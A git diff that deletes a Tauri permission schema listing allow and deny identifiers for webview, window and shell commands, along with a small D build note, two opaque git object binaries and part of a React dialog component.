"description": "Enables the set_webview_zoom command without any pre-configured scope.", - "type": "string", - "const": "core:webview:allow-set-webview-zoom" - }, - { - "description": "Enables the webview_close command without any pre-configured scope.", - "type": "string", - "const": "core:webview:allow-webview-close" - }, - { - "description": "Enables the webview_hide command without any pre-configured scope.", - "type": "string", - "const": "core:webview:allow-webview-hide" - }, - { - "description": "Enables the webview_position command without any pre-configured scope.", - "type": "string", - "const": "core:webview:allow-webview-position" - }, - { - "description": "Enables the webview_show command without any pre-configured scope.", - "type": "string", - "const": "core:webview:allow-webview-show" - }, - { - "description": "Enables the webview_size command without any pre-configured scope.", - "type": "string", - "const": "core:webview:allow-webview-size" - }, - { - "description": "Denies the clear_all_browsing_data command without any pre-configured scope.", - "type": "string", - "const": "core:webview:deny-clear-all-browsing-data" - }, - { - "description": "Denies the create_webview command without any pre-configured scope.", - "type": "string", - "const": "core:webview:deny-create-webview" - }, - { - "description": "Denies the create_webview_window command without any pre-configured scope.", - "type": "string", - "const": "core:webview:deny-create-webview-window" - }, - { - "description": "Denies the get_all_webviews command without any pre-configured scope.", - "type": "string", - "const": "core:webview:deny-get-all-webviews" - }, - { - "description": "Denies the internal_toggle_devtools command without any pre-configured scope.", - "type": "string", - "const": "core:webview:deny-internal-toggle-devtools" - }, - { - "description": "Denies the print command without any pre-configured scope.", - "type": "string", - "const": "core:webview:deny-print" - }, - { - "description": "Denies the reparent command without any pre-configured scope.", - "type": "string", - "const": "core:webview:deny-reparent" - }, - { - "description": "Denies the set_webview_focus command without any pre-configured scope.", - "type": "string", - "const": "core:webview:deny-set-webview-focus" - }, - { - "description": "Denies the set_webview_position command without any pre-configured scope.", - "type": "string", - "const": "core:webview:deny-set-webview-position" - }, - { - "description": "Denies the set_webview_size command without any pre-configured scope.", - "type": "string", - "const": "core:webview:deny-set-webview-size" - }, - { - "description": "Denies the set_webview_zoom command without any pre-configured scope.", - "type": "string", - "const": "core:webview:deny-set-webview-zoom" - }, - { - "description": "Denies the webview_close command without any pre-configured scope.", - "type": "string", - "const": "core:webview:deny-webview-close" - }, - { - "description": "Denies the webview_hide command without any pre-configured scope.", - "type": "string", - "const": "core:webview:deny-webview-hide" - }, - { - "description": "Denies the webview_position command without any pre-configured scope.", - "type": "string", - "const": "core:webview:deny-webview-position" - }, - { - "description": "Denies the webview_show command without any pre-configured scope.", - "type": "string", - "const": "core:webview:deny-webview-show" - }, - { - "description": "Denies the webview_size command without any pre-configured scope.", - "type": "string", - "const": "core:webview:deny-webview-size" - }, - { - "description": "Default permissions for the plugin.", - "type": "string", - "const": "core:window:default" - }, - { - "description": "Enables the available_monitors command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-available-monitors" - }, - { - "description": "Enables the center command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-center" - }, - { - "description": "Enables the close command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-close" - }, - { - "description": "Enables the create command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-create" - }, - { - "description": "Enables the current_monitor command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-current-monitor" - }, - { - "description": "Enables the cursor_position command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-cursor-position" - }, - { - "description": "Enables the destroy command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-destroy" - }, - { - "description": "Enables the get_all_windows command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-get-all-windows" - }, - { - "description": "Enables the hide command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-hide" - }, - { - "description": "Enables the inner_position command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-inner-position" - }, - { - "description": "Enables the inner_size command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-inner-size" - }, - { - "description": "Enables the internal_toggle_maximize command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-internal-toggle-maximize" - }, - { - "description": "Enables the is_closable command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-is-closable" - }, - { - "description": "Enables the is_decorated command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-is-decorated" - }, - { - "description": "Enables the is_enabled command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-is-enabled" - }, - { - "description": "Enables the is_focused command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-is-focused" - }, - { - "description": "Enables the is_fullscreen command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-is-fullscreen" - }, - { - "description": "Enables the is_maximizable command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-is-maximizable" - }, - { - "description": "Enables the is_maximized command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-is-maximized" - }, - { - "description": "Enables the is_minimizable command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-is-minimizable" - }, - { - "description": "Enables the is_minimized command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-is-minimized" - }, - { - "description": "Enables the is_resizable command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-is-resizable" - }, - { - "description": "Enables the is_visible command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-is-visible" - }, - { - "description": "Enables the maximize command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-maximize" - }, - { - "description": "Enables the minimize command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-minimize" - }, - { - "description": "Enables the monitor_from_point command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-monitor-from-point" - }, - { - "description": "Enables the outer_position command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-outer-position" - }, - { - "description": "Enables the outer_size command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-outer-size" - }, - { - "description": "Enables the primary_monitor command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-primary-monitor" - }, - { - "description": "Enables the request_user_attention command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-request-user-attention" - }, - { - "description": "Enables the scale_factor command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-scale-factor" - }, - { - "description": "Enables the set_always_on_bottom command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-always-on-bottom" - }, - { - "description": "Enables the set_always_on_top command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-always-on-top" - }, - { - "description": "Enables the set_closable command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-closable" - }, - { - "description": "Enables the set_content_protected command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-content-protected" - }, - { - "description": "Enables the set_cursor_grab command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-cursor-grab" - }, - { - "description": "Enables the set_cursor_icon command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-cursor-icon" - }, - { - "description": "Enables the set_cursor_position command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-cursor-position" - }, - { - "description": "Enables the set_cursor_visible command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-cursor-visible" - }, - { - "description": "Enables the set_decorations command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-decorations" - }, - { - "description": "Enables the set_effects command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-effects" - }, - { - "description": "Enables the set_enabled command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-enabled" - }, - { - "description": "Enables the set_focus command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-focus" - }, - { - "description": "Enables the set_fullscreen command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-fullscreen" - }, - { - "description": "Enables the set_icon command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-icon" - }, - { - "description": "Enables the set_ignore_cursor_events command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-ignore-cursor-events" - }, - { - "description": "Enables the set_max_size command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-max-size" - }, - { - "description": "Enables the set_maximizable command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-maximizable" - }, - { - "description": "Enables the set_min_size command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-min-size" - }, - { - "description": "Enables the set_minimizable command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-minimizable" - }, - { - "description": "Enables the set_position command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-position" - }, - { - "description": "Enables the set_progress_bar command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-progress-bar" - }, - { - "description": "Enables the set_resizable command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-resizable" - }, - { - "description": "Enables the set_shadow command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-shadow" - }, - { - "description": "Enables the set_size command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-size" - }, - { - "description": "Enables the set_size_constraints command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-size-constraints" - }, - { - "description": "Enables the set_skip_taskbar command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-skip-taskbar" - }, - { - "description": "Enables the set_theme command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-theme" - }, - { - "description": "Enables the set_title command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-title" - }, - { - "description": "Enables the set_title_bar_style command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-title-bar-style" - }, - { - "description": "Enables the set_visible_on_all_workspaces command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-set-visible-on-all-workspaces" - }, - { - "description": "Enables the show command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-show" - }, - { - "description": "Enables the start_dragging command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-start-dragging" - }, - { - "description": "Enables the start_resize_dragging command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-start-resize-dragging" - }, - { - "description": "Enables the theme command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-theme" - }, - { - "description": "Enables the title command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-title" - }, - { - "description": "Enables the toggle_maximize command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-toggle-maximize" - }, - { - "description": "Enables the unmaximize command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-unmaximize" - }, - { - "description": "Enables the unminimize command without any pre-configured scope.", - "type": "string", - "const": "core:window:allow-unminimize" - }, - { - "description": "Denies the available_monitors command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-available-monitors" - }, - { - "description": "Denies the center command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-center" - }, - { - "description": "Denies the close command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-close" - }, - { - "description": "Denies the create command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-create" - }, - { - "description": "Denies the current_monitor command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-current-monitor" - }, - { - "description": "Denies the cursor_position command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-cursor-position" - }, - { - "description": "Denies the destroy command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-destroy" - }, - { - "description": "Denies the get_all_windows command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-get-all-windows" - }, - { - "description": "Denies the hide command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-hide" - }, - { - "description": "Denies the inner_position command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-inner-position" - }, - { - "description": "Denies the inner_size command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-inner-size" - }, - { - "description": "Denies the internal_toggle_maximize command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-internal-toggle-maximize" - }, - { - "description": "Denies the is_closable command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-is-closable" - }, - { - "description": "Denies the is_decorated command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-is-decorated" - }, - { - "description": "Denies the is_enabled command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-is-enabled" - }, - { - "description": "Denies the is_focused command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-is-focused" - }, - { - "description": "Denies the is_fullscreen command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-is-fullscreen" - }, - { - "description": "Denies the is_maximizable command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-is-maximizable" - }, - { - "description": "Denies the is_maximized command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-is-maximized" - }, - { - "description": "Denies the is_minimizable command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-is-minimizable" - }, - { - "description": "Denies the is_minimized command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-is-minimized" - }, - { - "description": "Denies the is_resizable command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-is-resizable" - }, - { - "description": "Denies the is_visible command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-is-visible" - }, - { - "description": "Denies the maximize command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-maximize" - }, - { - "description": "Denies the minimize command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-minimize" - }, - { - "description": "Denies the monitor_from_point command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-monitor-from-point" - }, - { - "description": "Denies the outer_position command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-outer-position" - }, - { - "description": "Denies the outer_size command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-outer-size" - }, - { - "description": "Denies the primary_monitor command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-primary-monitor" - }, - { - "description": "Denies the request_user_attention command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-request-user-attention" - }, - { - "description": "Denies the scale_factor command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-scale-factor" - }, - { - "description": "Denies the set_always_on_bottom command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-always-on-bottom" - }, - { - "description": "Denies the set_always_on_top command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-always-on-top" - }, - { - "description": "Denies the set_closable command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-closable" - }, - { - "description": "Denies the set_content_protected command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-content-protected" - }, - { - "description": "Denies the set_cursor_grab command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-cursor-grab" - }, - { - "description": "Denies the set_cursor_icon command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-cursor-icon" - }, - { - "description": "Denies the set_cursor_position command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-cursor-position" - }, - { - "description": "Denies the set_cursor_visible command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-cursor-visible" - }, - { - "description": "Denies the set_decorations command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-decorations" - }, - { - "description": "Denies the set_effects command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-effects" - }, - { - "description": "Denies the set_enabled command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-enabled" - }, - { - "description": "Denies the set_focus command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-focus" - }, - { - "description": "Denies the set_fullscreen command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-fullscreen" - }, - { - "description": "Denies the set_icon command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-icon" - }, - { - "description": "Denies the set_ignore_cursor_events command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-ignore-cursor-events" - }, - { - "description": "Denies the set_max_size command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-max-size" - }, - { - "description": "Denies the set_maximizable command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-maximizable" - }, - { - "description": "Denies the set_min_size command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-min-size" - }, - { - "description": "Denies the set_minimizable command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-minimizable" - }, - { - "description": "Denies the set_position command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-position" - }, - { - "description": "Denies the set_progress_bar command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-progress-bar" - }, - { - "description": "Denies the set_resizable command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-resizable" - }, - { - "description": "Denies the set_shadow command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-shadow" - }, - { - "description": "Denies the set_size command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-size" - }, - { - "description": "Denies the set_size_constraints command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-size-constraints" - }, - { - "description": "Denies the set_skip_taskbar command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-skip-taskbar" - }, - { - "description": "Denies the set_theme command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-theme" - }, - { - "description": "Denies the set_title command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-title" - }, - { - "description": "Denies the set_title_bar_style command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-title-bar-style" - }, - { - "description": "Denies the set_visible_on_all_workspaces command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-visible-on-all-workspaces" - }, - { - "description": "Denies the show command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-show" - }, - { - "description": "Denies the start_dragging command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-start-dragging" - }, - { - "description": "Denies the start_resize_dragging command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-start-resize-dragging" - }, - { - "description": "Denies the theme command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-theme" - }, - { - "description": "Denies the title command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-title" - }, - { - "description": "Denies the toggle_maximize command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-toggle-maximize" - }, - { - "description": "Denies the unmaximize command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-unmaximize" - }, - { - "description": "Denies the unminimize command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-unminimize" - }, - { - "description": "This permission set configures which\nshell functionality is exposed by default.\n\n#### Granted Permissions\n\nIt allows to use the `open` functionality without any specific\nscope pre-configured. It will allow opening `http(s)://`,\n`tel:` and `mailto:` links.\n", - "type": "string", - "const": "shell:default" - }, - { - "description": "Enables the execute command without any pre-configured scope.", - "type": "string", - "const": "shell:allow-execute" - }, - { - "description": "Enables the kill command without any pre-configured scope.", - "type": "string", - "const": "shell:allow-kill" - }, - { - "description": "Enables the open command without any pre-configured scope.", - "type": "string", - "const": "shell:allow-open" - }, - { - "description": "Enables the spawn command without any pre-configured scope.", - "type": "string", - "const": "shell:allow-spawn" - }, - { - "description": "Enables the stdin_write command without any pre-configured scope.", - "type": "string", - "const": "shell:allow-stdin-write" - }, - { - "description": "Denies the execute command without any pre-configured scope.", - "type": "string", - "const": "shell:deny-execute" - }, - { - "description": "Denies the kill command without any pre-configured scope.", - "type": "string", - "const": "shell:deny-kill" - }, - { - "description": "Denies the open command without any pre-configured scope.", - "type": "string", - "const": "shell:deny-open" - }, - { - "description": "Denies the spawn command without any pre-configured scope.", - "type": "string", - "const": "shell:deny-spawn" - }, - { - "description": "Denies the stdin_write command without any pre-configured scope.", - "type": "string", - "const": "shell:deny-stdin-write" - } - ] - }, - "Value": { - "description": "All supported ACL values.", - "anyOf": [ - { - "description": "Represents a null JSON value.", - "type": "null" - }, - { - "description": "Represents a [`bool`].", - "type": "boolean" - }, - { - "description": "Represents a valid ACL [`Number`].", - "allOf": [ - { - "$ref": "#/definitions/Number" - } - ] - }, - { - "description": "Represents a [`String`].", - "type": "string" - }, - { - "description": "Represents a list of other [`Value`]s.", - "type": "array", - "items": { - "$ref": "#/definitions/Value" - } - }, - { - "description": "Represents a map of [`String`] keys to [`Value`]s.", - "type": "object", - "additionalProperties": { - "$ref": "#/definitions/Value" - } - } - ] - }, - "Number": { - "description": "A valid ACL number.", - "anyOf": [ - { - "description": "Represents an [`i64`].", - "type": "integer", - "format": "int64" - }, - { - "description": "Represents a [`f64`].", - "type": "number", - "format": "double" - } - ] - }, - "Target": { - "description": "Platform target.", - "oneOf": [ - { - "description": "MacOS.", - "type": "string", - "enum": [ - "macOS" - ] - }, - { - "description": "Windows.", - "type": "string", - "enum": [ - "windows" - ] - }, - { - "description": "Linux.", - "type": "string", - "enum": [ - "linux" - ] - }, - { - "description": "Android.", - "type": "string", - "enum": [ - "android" - ] - }, - { - "description": "iOS.", - "type": "string", - "enum": [ - "iOS" - ] - } - ] - }, - "ShellScopeEntryAllowedArg": { - "description": "A command argument allowed to be executed by the webview API.", - "anyOf": [ - { - "description": "A non-configurable argument that is passed to the command in the order it was specified.", - "type": "string" - }, - { - "description": "A variable that is set while calling the command from the webview API.", - "type": "object", - "required": [ - "validator" - ], - "properties": { - "raw": { - "description": "Marks the validator as a raw regex, meaning the plugin should not make any modification at runtime.\n\nThis means the regex will not match on the entire string by default, which might be exploited if your regex allow unexpected input to be considered valid. When using this option, make sure your regex is correct.", - "default": false, - "type": "boolean" - }, - "validator": { - "description": "[regex] validator to require passed values to conform to an expected input.\n\nThis will require the argument value passed to this variable to match the `validator` regex before it will be executed.\n\nThe regex string is by default surrounded by `^...$` to match the full string. For example the `https?://\\w+` regex would be registered as `^https?://\\w+$`.\n\n[regex]: ", - "type": "string" - } - }, - "additionalProperties": false - } - ] - }, - "ShellScopeEntryAllowedArgs": { - "description": "A set of command arguments allowed to be executed by the webview API.\n\nA value of `true` will allow any arguments to be passed to the command. `false` will disable all arguments. A list of [`ShellScopeEntryAllowedArg`] will set those arguments as the only valid arguments to be passed to the attached command configuration.", - "anyOf": [ - { - "description": "Use a simple boolean to allow all or disable all arguments to this command configuration.", - "type": "boolean" - }, - { - "description": "A specific set of [`ShellScopeEntryAllowedArg`] that are valid to call for the command configuration.", - "type": "array", - "items": { - "$ref": "#/definitions/ShellScopeEntryAllowedArg" - } - } - ] - } - } -} \ No newline at end of file diff --git a/dev.txt b/dev.txt deleted file mode 100644 index 3db1440..0000000 --- a/dev.txt +++ /dev/null @@ -1,5 +0,0 @@ -dub build --arch=x86 --compiler=dmd --vverbose --deep --build=release --force - -gdi32, user32 - -"alwaysStackFrame","betterC","syntaxOnly", diff --git a/df655c0bf26af1148d038e1d013e884663b240 b/df655c0bf26af1148d038e1d013e884663b240 deleted file mode 100644 index c986f7d128de9bad9ed00d64689f4967b4126eb061fb758c57547e38a24c5614..0000000000000000000000000000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 743 zcmVx0nL_CZ`v>rfcKnVamqsl69!hT(uN4yR&DCTwui272u)7xG|`+ma!jE@ z{P&&hkPw;*s3xs1;PYM1=kLxwheC#M`Qhs0n=~t=((o2&3Ada^8e%0g@Rb?+o>%EN z5aqC~be~2d4M$6ziV`g%nU@;wXec-Y&c`s8YDE>hCf;B{6?FY?GTK!V1qx~O0L%oHc{U5D>o4>bSiTaO0AKS z=4(yL%pWvM_je99yHMT4$gDXXVVEtwub`!gu(1mkH~HQRQS<`=)UT1-NzFlZ9Cxj;h%kj4&z+hHdPr)mTFBH82X!4YCK zwqV-jb5J}M%LI#9lPF0As|k(Ugsi8A5{i4A%*Hz@8AY4XH!1aNDw-JMIZDYI0Qgn$ zXbA5~hPMJ6U5z1@xh5HB=`w@)#mp3$!C6-tL6Vh&n!S~)Pv!6l#@(m*K?? zcCy9!Hdu4gkCDCRLOelxmps=(_RP-_q|u4$?|xx33$+0@}ysckNJ zCF^jbin~o+$G>L0koobKKcwbA|E^Mz9JagWVG>1QxQL>kQdw6yKmJl5c=h4a{b=;i zaG4)unX)yn#eM4;CM#76IBKu%8=1>S3M`HityIIlju>7PQDB`X>~q-&ean7(5~al7 zKSll|8oA+E(vs)5tmb7M)I!Vb{&jaPzlem5=hd@a%w;KposdW%Ve!;28&3zfJdGj* zLIG@4u5`jaMj5@Wg*D$iZnfH%Y2d}#oZfDaF;ySSW+!S{C#*!ic4s4=n?Q>)MU3S( zVXA6mf%yIsTe+qR9Iak(5bH;Y%qji4Ks|OwpO+01l_+WI6btnwQ1$bL=2r7#z2UiY z>suX!HGQ@IvY&3wADP1JY{G0PeTn7-} zGWrCdX;V*nm8yYSg_7`ft@3^2%1s3bQmMtpN&%C7fi%d>|0~I<*0D(x{d#y5$4v7= z)GXtv_yWbHy$aayy3>zXVP1?{#IZH1si;)ic95Nt_-zxYng^ zgn{O%+=DMp!`qiLnYYFQblJ0X3v||GE1kNMCK+lo5F*P=mS85UXL*lI;lyYW4Y6UM z?MX78P#sb1v$;f#z8WmOGjSC1&{&>kw`<UQj;Bv=g-q}MS zA`a&$k8kMRO%Ee}*SWa4GnKo$dmRKv;2t}zVY$0`=Xk=&5#Z=ECzb;TmhPRCzR7Zj zIwcQMQ?8NT_goYf9w%-dhcmx+ka-?#cD&r;@?p8kDw|TfLn8_oGsl}`KWzA3%VbC7 z>3n&XOEq9z?|7;X*Aa_YEDH89o^F=u+7X{t2e+rED}!ea0jdxnZFXI0kqKSfVF3;9 zM1jy#t{*=+!|jV1!S(#|Lu>TvDP^3|+g1QRNsD(9r4?__=G9S_Wwmc^&A#=%X_OzT z_O><=(t1xA_7=BVdfP_L*h@H$>L*W*Z*HHj{C27yPC0aoZn*t%Et1XQaMdNZ2$5FUq zlT|oDa^0vatJAeO27*zC)v}XdEkH2 z)q+hHSNM9?BcI}8KVb_@$b8--o*}OVTVnTo(Gk1b-{m--!_eLmyJen6Y({X5&+*`` zI-J9~Q3Z6y-620y?3g#KFc8KGaIiZKQMAj6Z~^z>?ww%X!HJLAA!57;V?c=jI$I$W z&x3}SLpmxP2U;|=d2bj^9rEi(vt_;qwcbS+9F;+w|=?g=^m9>g~s zp(np#4G;G@c#OcloSfC+#B;>23!G%9ZzF9UB%+%mG03O0PEseLn}G0Xd!HCQ7ca4W zhDLO$#BK-CO)%aI$j|osvF!}tJ510S!*{9XmF;4j(%^dH#;IonTLd3P-wmMm8ss;e zP=+ujA&7i@aR+#t@!qD%6X(5a-s50^_Ij^>H!TW$;8m3${WnqT*K;P-sP$tTJ$m(R V>xg3J7rWQy`0X#F{{XRR;x3qzZ)yMl diff --git a/dfe4517cce0368cb915f71ed4c31d129f41ad3 b/dfe4517cce0368cb915f71ed4c31d129f41ad3 deleted file mode 100644 index 5eefa3d391035523724817c29c88b90e653991a27155ada63cb9546bed63443d..0000000000000000000000000000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1787 zcmVh%Pejbawm+0NYH1$~!T(4JL z%|zS{=ioi^{f}?n?8nFR8-x(}ZO5!E4!c>QzYMh&EQ>(avXSjH1{Bj^w}=;uc%i&k zkFw~RrfWy7*^X~l!b5p-##J;|u7#)&A|Nba%m)d7d~T=w$-h;F7`IdzAtV6a;^cKw z*$9C4@ZX7B0v@}|P{-W1(I>$m;wsxn)%zcCf3ElUTD?^ z+`4LIKKx_I%L;15$Qj974o?y?>wwlcb-k5EP|`XEMf8iV?uP6wZR(g%cRGy{;3F%V#t^K5Q?^5a+J^f4QMaK;2^WlQxivX4_E&C0=XM|5 z0%3xAHEv;=vi}3Olm6V|Mz`YLf(v{talZzxEpKGY+ZIaTE&j7m;z=6%@ps}xFr!hN zLXmB4VGA&D8~cADWZ*A_ZQ6?d?$Q!>OUssWm8nzbLJh zH`DZPy{)Tf!y7GG$nv}1z8j^KL5}bAkR@^`K(T5;uS6jD(?7@m)#X^(yy6cx~>5-#fhMCoP5nLp1|P? zrQ&&u3RmhyO+)^rt)}s?>z`g&y9|R8sPktD2E=O2$9gt^7PRxNDXpQj4SQroJWg;~N*8cFy9f>{DQ+*1ZL?y>B20o$@0b*{%Y z@4pedW}jgK&g<>XIeovW%D$^$4n6EndF_hLc~SuReLg+hfl>3@?k>!WCt055+MNb{ zzPFt_l}0cP*2Z_HkX5$ffOO+bZMco>D5H22YNHCsaE$`jTMYvHwYjY{nbo% zTPrXu0id(IvaW`Uv1@Bcj}FtFWOr6|`PfLiL5*oJtLq1bXETaW-;LEwWu7|>^Da~Y z!Zubn&nv7G&lbb$ti#(zPilKNa%Zm1=la1SmoRiAcxBA z0I5(f2=^pdKcmW`fho3^!M~=eu76cdT;Ekipp8~jEo};c6wJ}j#TTqLw-4;@H8}bi z2kElivd)hZj?~Xb*-B&+;katX?;AJ^bAPfu42tchUrj^ajtUl4UGTGpH|9Iy`IN8} z^O&*s7WUb{8|Jqk6c(_RT|j)Op575mD2t<*MIM2F@Y-_g5DVyOTnLYnFvc(t)AzTh zjB_qrF88VjSVt>Fimq*CF?EAqT!zPdx(u-UiImuf=4vrs6d=V zIE-QvdITgmCMk_P7AEi_iPDHKG{cONm?Pq8t(Y=~{8=`PJtGmv6#355ie_{oBEXXo z5R?nM9J zC^^^@2hQdA@flD(QVIl6mqB%LL%yg z1gB6%36v4MFR(~e5pe;3-AO`^CJ`orr;cD4Nebm-q$A`TAI+hyf^hnj!8(8?@R=z33Mtr z$X*;lQz4Wlh{XwpzdQk6aI_;FCF*A!;#dG`Okhg6TWWHIYDkE0^kP7iQ=AIw&EMz? zY7pZLL+N^c$YXd(!ue)#ilJt;8(;ZJ)o*`xr2G&#&GS-!QSHa*g@}Vi5k_#X&5s+T dTra=V*B1Qu!P(v)`iEY_E&B+o{{b`~mYrg, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - -)) -DialogOverlay.displayName = DialogPrimitive.Overlay.displayName - -const DialogContent = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, children, ...props }, ref) => ( - - - - {children} - - - Close - - - -)) -DialogContent.displayName = DialogPrimitive.Content.displayName - -const DialogHeader = ({ - className, - ...props -}: React.HTMLAttributes) => ( -
